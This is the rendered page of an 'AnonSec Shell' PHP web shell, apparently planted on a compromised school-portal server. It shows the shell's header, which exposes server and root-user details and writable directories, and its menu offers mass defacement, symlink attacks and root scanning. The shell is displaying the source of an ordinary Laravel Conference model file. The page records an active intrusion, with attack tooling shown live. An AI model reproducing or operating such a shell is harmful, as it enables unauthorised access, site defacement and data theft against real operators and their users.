AnonSec Shell
Server IP :  /  Your IP : 10.244.4.16   [ Reverse IP ]
Web Server : nginx/1.25.3
System : Linux escuela-portal-app-54f56585bc-kst6g 5.15.0-1084-azure #93-Ubuntu SMP Sat Mar 15 14:12:29 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.13
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/app/app/Models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/app/app/Models/Conference.php
<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Str;

class Conference extends Model
{
    use HasFactory;

    protected $fillable = [
        'id', 'name', 'file', 'start_date', 'end_date', 'data', 'slug', 'icon'
    ];

    protected $casts = [
        'data'          => 'array',
    ];

    protected static function boot()
    {
        parent::boot();

        // Asignar el slug antes de crear el registro
        static::creating(function ($conference) {
            $originalSlug = $proposedSlug = Str::slug($conference->name);
            $count = 1;

            while (static::where('slug', $proposedSlug)->exists()) {
                // Si el slug ya existe, agregar un sufijo numérico
                $proposedSlug = $originalSlug . '-' . $count;
                $count++;
            }

            $conference->slug = $proposedSlug;
        });
    }

    public function saveFile($file = null, $url)
    {
        try {
            Storage::disk('files_base64')->delete($url);
        } catch (\Throwable $th) {
        }

        if ($file) {
            /** Almacena archivo */
            $file = $file[0] ?? $file;
            $file_base64 = base64_decode(substr($file['content'], strpos($file['content'], ",") + 1));
            Storage::disk('files_base64')->put($url, $file_base64);
        }
    }

    public function getFile($ext, $letter, $url, $id = null)
    {
        $path = '';
        if (isset($url)) {
            try {
                $path = [
                    'name' => $letter . ($id ?? $this->id) . '.' . $ext,
                    'type' => $ext,
                    'content' => getHeader($ext) . base64_encode(Storage::get('public/' .  str_replace('/storage/', '', $url))),
                ];
            } catch (\Throwable $th) {
                $path = '';
            }
        }

        return $path;
    }

    public function guests()
    {
        return $this->hasMany(GuestConference::class, 'conference_id');
    }

    public function createPage($name)
    {
        $page = Page::create([
            'name' => $name,
            'slug' => '/congresos/'.$this->slug,
            'is_menu' => false
        ])->id;

        /** Sección de video */
        PageSection::updateOrCreate(
            ['page_id' => $page, 'section_id' => 2],
            ['order' => 1, 'data' => [
                'title' => '',
                'text' => ''
            ]]
        );

        /** seccion de invitados */
        PageSection::updateOrCreate(
            ['page_id' => $page, 'section_id' => 22],
            ['order' => 2, 'data' => [
                'title' => '',
                'text' => ''
            ]]
        );

        /** seccion de galeria */
        PageSection::updateOrCreate(
            ['page_id' => $page, 'section_id' => 21],
            ['order' => 3, 'data' => [
                'title' => '',
                'text' => ''
            ]]
        );
    }

    public function updateFullData($request, $create = false)
    {
        $this->update($request);
        $this->saveFile($request['document'] ?? null, 'doc/conference/D' . $this->id . '.pdf');
        $this->file = isset($request['document']) ? '/storage/doc/conference/D' . $this->id . '.pdf' : null;
         $this->saveFile($request['image'] ?? null, 'img/conference/icons/I' . $this->id . '.png');
        $this->icon = isset($request['image']) ? '/storage/img/conference/icons/I' . $this->id . '.png' : null;
        $this->save();

        //Invitados
        foreach ($request['guests'] ?? [] as $value) {
            $guest = GuestConference::updateOrCreate(
                ['id' => $value['id'] ?? 0],
                [
                    'name' => $value['name'],
                    'description' => $value['description'],
                    'conference_id' => $this->id,
                    'country' => $value['country'],
                ]
            );
            $guest->saveImage($value['image']);
        }

        //Construcción de la pagina
        if($create){
            $this->createPage($request['name']);
        }
    }

    public function getFullData()
    {
        return [
            'name' => $this->name,
            'start_date' => $this->start_date,
            'end_date' => $this->end_date,
            'document' => $this->getFile('pdf', 'D', $this->file),
            'image' => $this->getFile('png', 'I', $this->icon),
            'guests' => collect($this->guests)->map(function ($item) {
                return $item->getFullInfo();
            })->all(),
        ];
    }

    public function getGallery()
    {
        return [
            'images' => collect($this->data)->map(function ($item) use (&$cont) {
                $cont++;
                return $this->getFile('jpg', 'P', $item, $cont);
            })->all(),
        ];
    }

    public function updateGallery($request)
    {
        //Elimina imagenes
        try {
            foreach ($this->data as $value) {
                Storage::disk('files_base64')->delete($value);
            }
        } catch (\Throwable $th) {
            //throw $th;
        }

        foreach ($request['images'] as $key => $value) {
            $url = "img/conference/gallery/" . $this->id . "/P" . $key . ".jpg";
            $this->saveFile($value, $url);
            $galleryUrls[] = '/storage/' . $url;
        }
        $this->data = $galleryUrls ?? null;
        $this->save();
        //Guarda las nuevas

    }
}

Anon7 - 2022
AnonSec Team